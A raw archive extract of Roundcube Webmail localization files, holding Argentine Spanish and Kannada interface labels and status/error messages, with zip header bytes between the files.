$labels['helplistkeyboardnavigation'] = "Flechas arriba/abajo: Mueve el foco de la fila/selección.
Espacio: Selecciona la fila en foco.
Shift + arriba/abajo: Selecciona fila adicional arriba/abajo.
Ctrl + Espacio: Agrega fila seleccionada en foco para seleccionar/eliminar.";
$labels['helplistkeyboardnavmessages'] = "Flechas arriba/abajo: expande/colapsa el hilo del mensaje (sólo en modo de hilos).
Intro: Abre el mensaje seleccionado/en foco.
Supr: Mueve el mensaje seleccionado a la Papelera.";
$labels['helplistkeyboardnavcontacts'] = "Intro: Abre el contacto seleccionado/en foco";
PK
h�\�F���I�I'program/localization/es_AR/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = '¡Ha ocurrido un error!';
$messages['loginfailed']  = 'Contraseña o nombre de usuario incorrecto';
$messages['cookiesdisabled'] = 'Tu navegador no acepta cookies.';
$messages['sessionerror'] = 'Tu sesión no es válida o ha expirado.';
$messages['cookiesmismatch'] = 'Se encontró una discordancia de cookies. Por favor, borrá las cookies de tu navegador.';
$messages['storageerror'] = 'Error de conexión con el servidor IMAP.';
$messages['servererror'] = '¡Error en el servidor!';
$messages['servererrormsg'] = 'Error en servidor: $msg';
$messages['accountlocked'] = 'Demasiados errores de inicio de sesión. Intentá de nuevo más tarde.';
$messages['connerror'] = 'Error de conexión (No se pudo conectar con el servidor)';
$messages['dberror'] = '¡Error en base de datos!';
$messages['dbconnerror'] = '¡No fue posible conectar con la base de datos!';
$messages['windowopenerror'] = '¡La ventana emergente ha sido bloqueada!';
$messages['requesttimedout'] = 'Tiempo de espera agotado';
$messages['errorreadonly'] = 'No se pudo realizar la operación. La carpeta es de sólo lectura.';
$messages['errornoperm'] = 'No se pudo realizar la operación. Permiso denegado.';
$messages['erroroverquota'] = 'No se pudo realizar la operación. Espacio en disco insuficiente.';
$messages['erroroverquotadelete'] = 'Espacio en disco insuficiente. Usá SHIFT+DEL para eliminar un mensaje.';
$messages['invalidrequest'] = '¡Petición no válida! No se guardó ningún dato.';
$messages['invalidhost'] = 'Nombre de servidor no válido.';
$messages['nomessagesfound'] = 'No se han encontrado mensajes en esta casilla.';
$messages['loggedout'] = 'Terminaste la sesión satisfactoriamente. ¡Hasta luego!';
$messages['mailboxempty'] = 'La casilla está vacía';
$messages['nomessages'] = 'No hay mensajes';
$messages['refreshing'] = 'Actualizando...';
$messages['loading'] = 'Cargando...';
$messages['uploading'] = 'Subiendo archivo...';
$messages['attaching'] = 'Adjuntando archivo...';
$messages['uploadingmany'] = 'Subiendo archivos...';
$messages['loadingdata'] = 'Cargando datos...';
$messages['checkingmail'] = 'Verificando si hay nuevos mensajes...';
$messages['sendingmessage'] = 'Enviando mensaje...';
$messages['messagesent'] = 'Mensaje enviado correctamente';
$messages['savingmessage'] = 'Guardar mensaje...';
$messages['messagesaved'] = 'Mensaje guardado en borradores';
$messages['successfullysaved'] = 'Guardado correctamente';
$messages['savingresponse'] = 'Guardando texto de respuesta...';
$messages['deleteresponseconfirm'] = '¿Realmente deseás eliminar este texto de respuesta?';
$messages['nocontactselected'] = 'Todavía no seleccionaste un contacto.';
$messages['addedsuccessfully'] = 'Contacto agregado correctamente a la libreta de direcciones.';
$messages['contactexists'] = 'Ya existe un contacto con la misma dirección de correo electrónico.';
$messages['contactnameexists'] = 'Ya existe un contacto con el mismo nombre.';
$messages['blockedimages'] = 'Para proteger tu privacidad, las imágenes externas han sido bloqueadas en este mensaje.';
$messages['blockedresources'] = 'Para proteger tu privacidad los recursos remotos han sido bloqueados.';
$messages['suspiciousemail'] = 'Este mensaje contiene direcciones de correo electrónico sospechosas que pueden ser fraudulentas.';
$messages['bccemail'] = 'El o los mensajes reenviados contienen destinatarios confidenciales (Bcc)';
$messages['bouncehint'] = 'El mensaje será enviado sin ninguna modificación, ej. usando el cuerpo original, encabezados y destinatarios.';
$messages['encryptedmessage'] = 'Lo siento, este es un mensaje cifrado y no puede ser mostrado.';
$messages['externalmessagedecryption'] = 'Este es un mensaje cifrado y se puede descifrar con una extensión de tu navegador.';
$messages['nopubkeyfor'] = 'No se encontró una clave pública para $email';
$messages['nopubkeyforsender'] = 'No se encontró una clave pública para tu identidad remitente. ¿Querés encriptar el mensaje solo para los destinatarios?';
$messages['encryptnoattachments'] = 'Los adjuntos ya subidos no pueden ser encriptados. Volvé a agregarlos en el editor de encriptación.';
$messages['searchpubkeyservers'] = '¿Deseás buscar las claves faltantes en servidores de claves públicas?';
$messages['encryptpubkeysfound'] = 'Se han encontrado las siguientes claves públicas:';
$messages['keyservererror'] = 'Error al obtener la clave del servidor de claves.';
$messages['keyimportsuccess'] = 'La clave pública $key fue importada satisfactoriamente a tu almacén de claves.';
$messages['nocontactsfound'] = 'No se encontraron contactos.';
$messages['contactnotfound'] = 'No se encontró el contacto solicitado.';
$messages['contactsearchonly'] = 'Necesitás usar un formulario de búsqueda para ver contactos de la libreta de direcciones seleccionada.';
$messages['sendingfailed'] = 'Error al enviar mensaje.';
$messages['senttooquickly'] = 'Por favor, esperá $sec segundo(s) antes de enviar este mensaje.';
$messages['errorsavingsent'] = 'Ocurrió un error al guardar el mensaje enviado.';
$messages['errorsaving'] = 'Ocurrió un error al guardar.';
$messages['errormoving'] = 'No se pudo mover el/los mensaje(s)';
$messages['errorcopying'] = 'No se pudo copiar el/los mensaje(s).';
$messages['errordeleting'] = 'No se ha podido eliminar el/los mensaje(s).';
$messages['errormarking'] = 'No se puede marcar el/los mensaje(s).';
$messages['alerttitle'] = 'Atención';
$messages['confirmationtitle'] = 'Estás seguro...';
$messages['deletecontactconfirm']  = '¿Realmente quiere eliminar los contactos seleccionados?';
$messages['deletegroupconfirm']  = 'Realmente deseas eliminar el grupo seleccionado?';
$messages['deletemessagesconfirm'] = '¿Realmente quiere eliminar los mensajes seleccionados?';
$messages['deletefolderconfirm']  = '¿Realmente quiere eliminar esta carpeta?';
$messages['movefolderconfirm']  = '¿Realmente deseás mover esta carpeta?';
$messages['purgefolderconfirm']  = '¿Realmente quiere eliminar todos los mensajes de esta carpeta?';
$messages['contactdeleting'] = 'Eliminando contacto(s)...';
$messages['groupdeleting'] = 'Eliminando grupo...';
$messages['folderdeleting'] = 'Eliminando carpeta...';
$messages['foldermoving'] = 'Moviendo carpeta...';
$messages['foldersubscribing'] = 'Suscribiendo a carpeta...';
$messages['folderunsubscribing'] = 'Quitando suscripción a carpeta...';
$messages['formincomplete'] = 'No se han llenado todos los campos del formulario';
$messages['noemailwarning'] = 'Por favor, introduzca un e-mail válido';
$messages['nonamewarning']  = 'Por favor, introduzca su nombre';
$messages['nopagesizewarning'] = 'Por favor, introduzca un tamaño de página';
$messages['nosenderwarning'] = 'Por favor, Ingresá la dirección de correo electrónico del remitente.';
$messages['recipientsadded'] = 'Destinatario(s) agregado(s) satisfactoriamente.';
$messages['norecipientwarning'] = 'Por favor, introduzca al menos un destinatario';
$messages['disclosedrecipwarning'] = 'Todos los destinatarios verán las direcciones de correo electrónico de los demás. Para evitar esto y proteger su privacidad, podés utilizar el campo CCO.';
$messages['disclosedreciptitle'] = 'Demasiados destinatarios públicos';
$messages['nosubjectwarning']  = 'El campo "Asunto" esta vacío. ¿Desea completarlo en este momento?';
$messages['nosubjecttitle']  = 'Sin asunto';
$messages['nobodywarning'] = '¿Quiere enviar este mensaje sin texto?';
$messages['notsentwarning'] = 'El mensaje no se ha enviado y tiene cambios sin guardar. ¿Querés descartar los cambios?';
$messages['restoresavedcomposedata'] = 'Se ha encontrado un mensaje redactado anteriormente que no ha sido enviado.\n\nAsunto: $subject\nGuardado: $date\n\nDeseas recuperar este mensaje?';
$messages['nosearchname'] = 'Por favor, introduzca un nombre o la dirección de e-mail';
$messages['notuploadedwarning'] = 'Todavia no se subieron todos los archivos adjuntos. Por favor aguarde o cancele la subida.';
$messages['searchsuccessful'] = 'Se encontraron $nr mensajes';
$messages['contactsearchsuccessful'] = '$nr contactos encontrados.';
$messages['searchnomatch'] = 'La búsqueda no obtuvo resultados';
$messages['searching'] = 'Buscando...';
$messages['checking'] = 'Revisando...';
$messages['stillsearching'] = 'Búsqueda en progreso...';
$messages['nospellerrors'] = 'No se encontraron errores ortográficos';
$messages['folderdeleted'] = 'Carpeta eliminada exitosamente';
$messages['foldersubscribed'] = 'Suscripción a carpeta exitosa.';
$messages['folderunsubscribed'] = 'Suscripción a carpeta exitosamente eliminada.';
$messages['folderpurged'] = 'Carpeta vaciada exitosamente';
$messages['folderexpunged'] = 'Carpeta compactada exitosamente';
$messages['deletedsuccessfully'] = 'Eliminado exitosamente';
$messages['converting'] = 'Removiendo el formato del mensaje...';
$messages['messageopenerror'] = 'No puedo descargar el mensaje del servidor';
$messages['filelinkerror'] = 'Error al adjuntar archivo.';
$messages['fileuploaderror'] = 'Error al subir archivos';
$messages['csvfilemismatch'] = 'No es posible importar múltiples archivos CSV con campos diferentes.';
$messages['filesizeerror'] = 'El archivo excede el tamaño maximo ($size)';
$messages['filecounterror'] = 'Podés subir un máximo de $count archivos a la vez.';
$messages['msgsizeerror'] = 'Error al adjuntar un archivo. Se excedió el tamaño máximo ($size) del mensaje.';
$messages['msgsizeerrorfwd'] = 'Tamaño máximo del mensaje ($size) excedido. $num mensaje(s) no ha(n) sido ajuntado(s).';
$messages['copysuccess'] = '$nr contactos copiados exitosamente.';
$messages['movesuccess'] = '$nr contactos movidos exitosamente.';
$messages['copyerror'] = 'No se pudo copiar ningún contacto.';
$messages['moveerror'] = 'No se pudo mover ningún contacto.';
$messages['sourceisreadonly'] = 'Esta dirección es de sólo-lectura';
$messages['errorsavingcontact'] = 'No se pudo guardar la dirección de contacto';
$messages['movingmessage'] = 'Moviendo mensaje...';
$messages['copyingmessage'] = 'Copiando mensaje...';
$messages['copyingcontact'] = 'Copiando contacto(s)...';
$messages['movingcontact'] = 'Moviendo contacto(s)...';
$messages['deletingmessage'] = 'Eliminando contacto(s)...';
$messages['markingmessage'] = 'Marcando mensaje(s)...';
$messages['addingmember'] = 'Agregando contacto(s) al grupo...';
$messages['removingmember'] = 'Quitando contacto(s) del grupo...';
$messages['receiptsent'] = 'La notificación de lectura se ha enviado con éxito.';
$messages['errorsendingreceipt'] = 'No se ha podido enviar la notificación de lectura.';
$messages['deleteidentityconfirm'] = 'Realmente querés eliminar esta identidad?';
$messages['nodeletelastidentity'] = 'No se puede borrar esta identidad puesto que es la última.';
$messages['forbiddencharacter'] = 'El nombre de la carpeta contiene un carácter prohibido';
$messages['selectimportfile'] = 'Por favor, seleccione el archivo a subir';
$messages['addresswriterror'] = 'La libreta de direcciones seleccionada es de solo-lectura';
$messages['contactaddedtogroup'] = 'Contactos agregados al grupo correctamente';
$messages['contactremovedfromgroup'] = 'Contactos eliminados del grupo correctamente';
$messages['nogroupassignmentschanged'] = 'Ninguna asiganción de grupo fue modificada.';
$messages['importwait'] = 'Importando, aguarde por favor...';
$messages['importformaterror'] = 'Importación fallida! El archivo subido no es un archivo de importación de datos válido.';
$messages['importconfirm'] = '<b>Se importaron $inserted contactos correctamente. $skipped ya existentes fueron ignorados</b>:<p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b>Se ignoraron $skipped entradas ya existentes</b>';
$messages['importmessagesuccess'] = '$nr mensajes importados exitosamente';
$messages['importmessageerror'] = 'Importación fallida! El archivo subido no es un mensaje o archivo mailbox válido';
$messages['opnotpermitted'] = 'Operación no permitida!';
$messages['nofromaddress'] = 'A la identidad seleccionada le falta la dirección de correo electrónico.';
$messages['editorwarning'] = 'Cambiar el tipo de editor puede causar la pérdida del formato. Deseas continuar?';
$messages['httpreceivedencrypterror'] = 'Ha ocurrido un error fatal de configuración. Contactá inmediatamente al administrador. <b>Tu mensaje no pudo ser enviado.</b>';
$messages['smtpconnerror'] = 'Error SMTP ($code): Conexión al servidor falló';
$messages['smtpautherror'] = 'Error SMTP ($code): Falló la autentificación';
$messages['smtpfromerror'] = 'Error SMTP ($code): No se pudo establecer el remitente "$from" ($msg)';
$messages['smtptoerror'] = 'Error SMTP ($code): No se puedo agregar el destinatario "$to" ($msg)';
$messages['smtprecipientserror'] = 'Error SMTP: No se pudo leer la lista de destinatarios';
$messages['smtputf8error'] = 'Error SMTP: El servidor no soporta Unicode en las direcciones de correo.';
$messages['smtpsizeerror'] = 'Error SMTP: El mensaje excede el límite del servidor ($limit)';
$messages['smtperror'] = 'Error SMTP: $msg';
$messages['emailformaterror'] = 'Dirección de correo electrónico no válida: $email';
$messages['toomanyrecipients'] = 'Demasiados destinatarios. Reducí la cantidad a un máximo de $max.';
$messages['maxgroupmembersreached'] = 'El número de miembros del grupo excede el máximo de $max';
$messages['internalerror'] = 'Ocurrió un error interno. Por favor, intentá nuevamente.';
$messages['contactdelerror'] = 'No se pudo eliminar el/los contactos(s).';
$messages['contactdeleted'] = 'Contacto(s) eliminado/s exitosamente.';
$messages['contactrestoreerror'] = 'No se pudo recuperar el/los contacto/s eliminado(s).';
$messages['contactrestored'] = 'Contacto(s) recuperado/s satisfactoriamente.';
$messages['groupdeleted'] = 'Grupo eliminado correctamente.';
$messages['grouprenamed'] = 'Grupo renombrado satisfactoriamente.';
$messages['groupcreated'] = 'Grupo creado satisfactoriamente.';
$messages['savedsearchdeleted'] = 'Búsqueda guardada se eliminó satisfactoriamente.';
$messages['savedsearchdeleteerror'] = 'No se pudo eliminar la búsqueda guardada.';
$messages['savedsearchcreated'] = 'Búsqueda guardada exitosamente.';
$messages['savedsearchcreateerror'] = 'No se pudo guardar la búsqueda.';
$messages['messagedeleted'] = 'Mensaje(s) eliminado/s satisfactoriamente.';
$messages['messagemoved'] = 'Mensaje(s) movidos correctamente.';
$messages['messagemovedtotrash'] = 'Mensaje(s) movido(s) a la Papelera satisfactoriamente.';
$messages['messagecopied'] = 'Mensaje(s) copiados correctamente.';
$messages['messagemarked'] = 'Mensaje(s) marcados satisfactoriamente.';
$messages['autocompletechars'] = 'Ingresá por lo menos $min caracteres para autocompletar.';
$messages['autocompletemore'] = 'Se encontraron mas coincidencias. Por favor, escribí mas caracteres.';
$messages['namecannotbeempty'] = 'El nombre no puede estar vacio.';
$messages['nametoolong'] = 'El nombre es demasiado largo.';
$messages['namedotforbidden'] = 'El nombre de la carpeta no puede comenzar con un punto.';
$messages['folderupdated'] = 'Carpeta actualizada correctamente.';
$messages['foldercreated'] = 'Carpeta creada satisfactoriamente.';
$messages['invalidimageformat'] = 'No es un formato de imágen válido.';
$messages['mispellingsfound'] = 'Errores de ortografía encontrados en el mensaje.';
$messages['parentnotwritable'] = 'No se pudo crear/mover la carpeta dentro de la carpeta superior seleccionada. No tiene permiso para acceder a ella.';
$messages['messagetoobig'] = 'El mensaje es demasiado grande para ser procesado.';
$messages['attachmentvalidationerror'] = 'Este adjunto es sospechoso porque su tipo no coinciden con el tipo declarado en el mensaje. Si no confiás en el remitente no deberías abrir el mensaje en el navegador porque podría tener contenido malicioso.<br/><br/><em>Esperado: $expected; encontrado: $detected</em>';
$messages['noscriptwarning'] = 'Advertencia: Este servicio de webmail requiere Javascript! Para usarlo, por favor, habilite Javascript en las preferencia de tu navegador.';
$messages['messageissent'] = 'El mensaje se envió pero todavía no fue guardado. ¿Querés guardarlo ahora?';
$messages['errnotfound'] = 'Archivo no encontrado';
$messages['errnotfoundexplain'] = '¡No se encontró el recurso solicitado!';
$messages['errfailedrequest'] = 'Error en la solicitud';
$messages['errauthorizationfailed'] = 'Falló la autorización';
$messages['errunauthorizedexplain'] = '¡No pudimos verificar que estuvieses autorizado a acceder a este servicio!';
$messages['errrequestcheckfailed'] = 'Verificación de la solicitud fallida';
$messages['errcsrfprotectionexplain'] = "El acceso a este recurso está protegido contra CSRF.\nSi ves esto probablemente no cerrarste la sesión antes de salir de la aplicación web.\nSe necesita interacción humana para continuar.";
$messages['errcontactserveradmin'] = 'Por favor, contactate con el administrador del servidor.';
$messages['clicktoresumesession'] = 'Hacé clic acá para continuar la sesión previa';
$messages['errcomposesession'] = 'Error al componer la sesión';
$messages['errcomposesessionexplain'] = 'No se encontró la composición de sesión solicitada.';
$messages['clicktocompose'] = 'Hacé clic aquí para componer un nuevo mensaje';
$messages['nosupporterror'] = 'Tu navegador no tiene soporte para esta función.';
$messages['siginserted'] = 'Firma insertada satisfactoriamente.';
$messages['responseinserted'] = 'Respuesta insertada satisfactoriamente.';
$messages['noresponsesavailable'] = 'No hay respuestas disponibles';
$messages['listempty'] = 'La lista está vacía.';
$messages['listusebutton'] = 'Usá el botón Crear para agregar un nuevo registro.';
$messages['keypaircreatesuccess'] = 'Un nuevo par de claves ha sido creado satisfactoriamente para $identity.';
$messages['emptyattachment'] = 'Este archivo adjunto parece estar vacío.<br>Por favor, consulte con la persona que lo envió.';
$messages['oauthloginfailed'] = 'Falló la autenticación mediante OAuth. Por favor, intentá nuevamente.';
PK
h�\5�%%%program/localization/kn_IN/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product ಗೆ ಸ್ವಾಗತ ';
$labels['password'] = 'ರಹಸ್ಯ ಪದ';
$labels['addressbook'] = 'ವಿಳಾಸ ಪುಸ್ತಕ';
$labels['subject'] = 'ವಿಷಯ';
$labels['from'] = 'ಇಂದ';
$labels['to'] = 'ಗೆ';
$labels['date'] = 'ದಿನಾಂಕ ';
$labels['size'] = 'ಗಾತ್ರ';
$labels['priority'] = 'ಆದ್ಯತೆ';
$labels['organization'] = 'ಸಂಘಟನೆ';
$labels['showattachment'] = 'ತೋರಿಸು';
$labels['filename'] = 'ಫೈಲ್ ಹೆಸರು';
$labels['filesize'] = 'ಫೈಲ್ ಗಾತ್ರ';
$labels['addtoaddressbook'] = 'ಪುಸ್ತಕ ವಿಳಾಸ ಸೇರಿಸು ';
$labels['sun'] = 'ಭಾನು ';
$labels['mon'] = 'ಸೋಮ';
$labels['tue'] = 'ಮಂಗಳ';
$labels['wed'] = 'ಬುಧ';
$labels['thu'] = 'ಗುರು';
$labels['fri'] = 'ಶುಕ್ರ';
$labels['sat'] = 'ಶನಿ';
$labels['sunday'] = 'ಭಾನುವಾರ';
$labels['monday'] = 'ಸೋಮವಾರ';
$labels['tuesday'] = 'ಮಂಗಳವಾರ';
$labels['wednesday'] = 'ಬುಧವಾರ';
$labels['thursday'] = 'ಗುರುವಾರ';
$labels['friday'] = 'ಶುಕ್ರವಾರ';
$labels['saturday'] = 'ಶನಿವಾರ';
$labels['may'] = 'ಮೇ';
$labels['longjan'] = 'ಜನವರಿ';
$labels['longfeb'] = 'ಫೆಬ್ರುವರಿ';
$labels['longmar'] = 'ಮಾರ್ಚ್';
$labels['longapr'] = 'ಏಪ್ರಿಲ್';
$labels['longmay'] = 'ಮೇ';
$labels['longjun'] = 'ಜೂನ್';
$labels['longjul'] = 'ಜೂಲೈ';
$labels['longaug'] = 'ಆಗಸ್ಟ್ ';
$labels['longsep'] = 'ಸೆಪ್ಟೆಂಬರ';
$labels['longoct'] = 'ಅಕ್ಟೋಬರ';
$labels['longnov'] = 'ನವೆಂಬರ';
$labels['longdec'] = 'ಡಿಸೆಂಬರ';
$labels['today'] = 'ಇಂದು';
$labels['checkmail'] = 'ಹೊಸ ಸಂದೇಶಗಳಿಗಾಗಿ ಪರಿಶೀಲಿಸು';
$labels['writenewmessage'] = 'ಒಂದು ಹೊಸ ಸಂದೇಶವನ್ನು ರಚಿಸು';
$labels['reply'] = 'ಉತ್ತರಕೊಡು';
$labels['deletemessage'] = 'ಸಂದೇಶ ಅಳಿಸು';
$labels['printmessage'] = 'ಈ ಸಂದೇಶವನ್ನು ಮುದ್ರಿಸು';
$labels['previousmessage'] = 'ಹಿಂದಿನ ಸಂದೇಶವನ್ನು ತೋರಿಸು';
$labels['firstmessage'] = 'ಮೊದಲ ಸಂದೇಶವನ್ನು ತೋರಿಸು';
$labels['nextmessage'] = 'ಮುಂದಿನ ಸಂದೇಶವನ್ನು ತೋರಿಸು';
$labels['lastmessage'] = 'ಕೊನೆಯ ಸಂದೇಶವನ್ನು ತೋರಿಸು';
$labels['unlimited'] = 'ಅನಿಯಮಿತ';
$labels['namex'] = 'ಹೆಸರು';
$labels['send'] = 'ಕಳುಹಿಸು';
$labels['sendmessage'] = 'ಸಂದೇಶ ಕಳುಹಿಸು';
$labels['savemessage'] = 'ಡ್ರಾಫ್ಟ್ ಆಗಿ ಉಳಿಸಿ';
$labels['originalmessage'] = 'ಮೂಲ ಸಂದೇಶ';
$labels['responsename'] = 'ಹೆಸರು';
$labels['close'] = 'ಮುಚ್ಚು';
$labels['messageoptions'] = 'ಸಂದೇಶ ಆಯ್ಕೆಗಳು';
$labels['low'] = 'ಕಡಿಮೆ';
$labels['lowest'] = 'ಅತಿ ಕಡಿಮೆ';
$labels['normal'] = 'ಸಾಧಾರಣ';
$labels['high'] = 'ಜಾಸ್ತಿ';
$labels['highest'] = 'ಅತಿ ಜಾಸ್ತಿ ';
$labels['nosubject'] = '(ವಿಷಯ ಇಲ್ಲ)';
$labels['showimages'] = 'ಚಿತ್ರಗಳನ್ನು ತೋರಿಸು';
$labels['alwaysshow'] = '$sender ಇಂದ ಯಾವಾಗಲೂ ಚಿತ್ರಗಳನ್ನು ತೋರಿಸು';
$labels['htmltoggle'] = 'HTML';
$labels['dontsave'] = 'ಉಳಿಸಬೇಡ';
$labels['department'] = 'ವಿಭಾಗ';
$labels['gender'] = 'ಲಿಂಗ';
$labels['email'] = 'ಇಮೇಲ್';
$labels['phone'] = 'ದೂರವಾಣಿ';
$labels['address'] = 'ವಿಳಾಸ';
$labels['street'] = 'ರಸ್ತೆ';
$labels['locality'] = 'ನಗರ';
$labels['country'] = 'ದೇಶ';
$labels['birthday'] = 'ಜನ್ಮದಿನ';
$labels['manager'] = 'ವ್ಯವಸ್ಥಾಪಕ';
$labels['assistant'] = 'ಸಹಾಯಕ';
$labels['search'] = 'ಹುಡುಕು';
$labels['typehome'] = 'ಮನೆ';
$labels['typework'] = 'ಕೆಲಸ';
$labels['typecar'] = 'ಕಾರು';
$labels['typeassistant'] = 'ಸಹಾಯಕ';
$labels['editcontact'] = 'ಸಂಪರ್ಕ ತಿದ್ದು';
$labels['contacts'] = 'ಸಂಪರ್ಕಗಳು';
$labels['edit'] = 'ತಿದ್ದು';
$labels['addphoto'] = 'ಸೇರಿಸು';
$labels['replacephoto'] = 'ಬದಲಾಯಿಸು';
$labels['uploadphoto'] = 'ಫೋಟೋ ಅಪ್ಲೋಡ್ ಮಾಡು';
$labels['deletecontact'] = 'ಆಯ್ಕೆಮಾಡಿದ ಸಂಪರ್ಕಗಳನ್ನು ಅಳಿಸು';
$labels['print'] = 'ಮುದ್ರಿಸು';
$labels['previouspage'] = 'ಹಿಂದಿನ ಪುಟವನ್ನು ತೋರಿಸು';
$labels['firstpage'] = 'ಮೊದಲ ಪುಟ ತೋರಿಸು';
$labels['nextpage'] = 'ಮುಂದಿನ ಪುಟ ತೋರಿಸು';
$labels['lastpage'] = 'ಕೊನೆಯ ಪುಟ ತೋರಿಸು';
$labels['group'] = 'ಗುಂಪು';
$labels['groups'] = 'ಗುಂಪುಗಳು';
$labels['preferences'] = 'ಆಯ್ಕೆಗಳು';
$labels['userpreferences'] = 'ಬಳಕೆದಾರ ಆಯ್ಕೆಗಳು';
$labels['editpreferences'] = 'ಬಳಕೆದಾರನ  ಆಯ್ಕೆಗಳನನ್ನು ತಿದ್ದಿ';
$labels['preferhtml'] = 'HTML  ತೋರಿಸು';
$labels['htmlmessage'] = 'HTML ಸಂದೇಶ';
$labels['digitalsig'] = 'ಡಿಜಿಟಲ್ ಸಹಿ';
$labels['dateformat'] = 'ದಿನಾಂಕ ಸ್ವರೂಪ';
$labels['timeformat'] = 'ಸಮಯ ಸ್ವರೂಪ';
$labels['language'] = 'ಭಾಷೆ';
$labels['timezone'] = 'ಸಮಯ ವಲಯ';
$labels['pagesize'] = 'ಪ್ರತಿ ಪುಟಕ್ಕೆ ಸಾಲುಗಳು';
$labels['signature'] = 'ಸಹಿ';
$labels['showinextwin'] = 'ಹೊಸ ವಿಂಡೋದಲ್ಲಿ ಸಂದೇಶ ತೆರೆಯಿರಿ';
$labels['composeextwin'] = 'ಹೊಸ ವಿಂಡೋದಲ್ಲಿ ರಚಿಸು';
$labels['htmleditor'] = 'HTML ಸಂದೇಶಗಳನ್ನು ರಚಿಸು';
$labels['htmlsignature'] = 'HTML ಸಹಿ';
$labels['showemail'] = ' ಇಮೇಲ್ ವಿಳಾಸವನ್ನು ಹೆಸರಿನೊಂದಿಗೆ ತೋರಿಸು';
$labels['askuser'] = 'ನನನ್ನು  ಕೇಳು';
$labels['autosend'] = 'ರಸಿಟನ್ನು  ಕಳಿಸು';
$labels['skipdeleted'] = 'ಅಳಿಸಲಾಗಿರುವ  ಸಂದೇಶಗಳನ್ನು ತೋರಿಸಬೇಡ';
$labels['always'] = 'ಯಾವಾಗಲೂ';
$labels['everynminutes'] = 'ಪ್ರತಿ $n ನಿಮಿಷ (ಗಳು)';
$labels['refreshinterval'] = 'ರಿಫ್ರೆಶ್ (ಹೊಸ ಸಂದೇಶಗಳನ್ನು, ಇತ್ಯಾದಿಗಳನ್ನು ಪರಿಶೀಲಿಸು)';
$labels['immediately'] = 'ತತ್ಕ್ಷಣ ';
$labels['mainoptions'] = 'ಮುಖ್ಯ ಆಯ್ಕೆಗಳು';
$labels['section'] = 'ವಿಭಾಗ';
$labels['newmessage'] = 'ಹೊಸ ಸಂದೇಶ';
$labels['signatureoptions'] = 'ಸಹಿ ಆಯ್ಕೆಗಳು';
$labels['whenreplying'] = 'ಪ್ರತ್ಯುತ್ತರ ನೀಡುವಾಗ';
$labels['replyempty'] = 'ಮೂಲ ಸಂದೇಶವನ್ನು ಉಲ್ಲೇಖಿಸಬೇಡ';
$labels['replyremovesignature'] = ' ಪ್ರತ್ಯುತ್ತರ ನೀಡುವಾಗ ಸಂದೇಶದಿಂದ ಮೂಲಸಹಿಯನ್ನು ತೆಗೆದು ಹಾಕು';
$labels['newmessageonly'] = 'ಹೊಸ ಸಂದೇಶ ಮಾತ್ರ    ';
$labels['insertsignature'] = 'ಸಹಿ ಸೇರಿಸು';
$labels['afternseconds'] = '$n ಸೆಕೆಂಡುಗಳ ನಂತರ';
$labels['addtodict'] = 'ನಿಘಂಟಿಗೆ ಸೇರಿಸು';
$labels['messagecount'] = 'ಸಂದೇಶಗಳು';
$labels['create'] = 'ರಚಿಸು';
$labels['properties'] = 'ಗುಣಲಕ್ಷಣಗಳು';
$labels['location'] = 'ಸ್ಥಳ';
$labels['info'] = 'ಮಾಹಿತಿ';
$labels['source'] = 'ಮೂಲ';
$labels['license'] = 'ಪರವಾನಗಿ';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['english'] = 'ಇಂಗ್ಲೀಷ್';
$labels['westerneuropean'] = 'ಪಾಶ್ಚಾತ್ಯ ಯುರೋಪಿಯನ್';
$labels['easterneuropean'] = 'ಪೂರ್ವ ಯುರೋಪಿಯನ್';
PK
h�\O<����'program/localization/kn_IN/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['requesttimedout'] = 'ವಿನಂತಿ ಸಮಯ ಮೀರಿತು';
$messages['checkingmail'] = 'ಹೊಸ ಸಂದೇಶಗಳನ್ನು ಪರಿಶೀಲಿಸಲಾಗುತ್ತಿದೆ...';
$messages['sendingmessage'] = 'ಸಂದೇಶ ಕಳುಹಿಸಲಾಗುತ್ತಿದೆ...';
$messages['messagesent'] = 'ಸಂದೇಶ ಯಶಸ್ವಿಯಾಗಿ ಕಳುಹಿಸಲಾಗಿದೆ.';
$messages['savingmessage'] = 'ಸಂದೇಶ ಉಳಿಸಲಾಗುತ್ತಿದೆ...';
$messages['successfullysaved'] = 'ಯಶಸ್ವಿಯಾಗಿ ಉಳಿಸಲಾಗಿದೆ.';
$messages['contactnameexists'] = 'ಅದೇ ಹೆಸರಿನ ಸಂಪರ್ಕ ಈಗಾಗಲೇ ಅಸ್ತಿತ್ವದಲ್ಲಿದೆ.';
$messages['nocontactsfound'] = 'ಯಾವುದೇ ಸಂಪರ್ಕಗಳು ಕಂಡುಬಂದಿಲ್ಲ.';
$messages['contactnotfound'] = 'ವಿನಂತಿಸಿದ ಸಂಪರ್ಕ ಕಂಡುಬಂದಿಲ್ಲ.';
$messages['sendingfailed'] = 'ಸಂದೇಶವನ್ನು ಕಳುಹಿಸಲು ವಿಫಲವಾಗಿದೆ.';
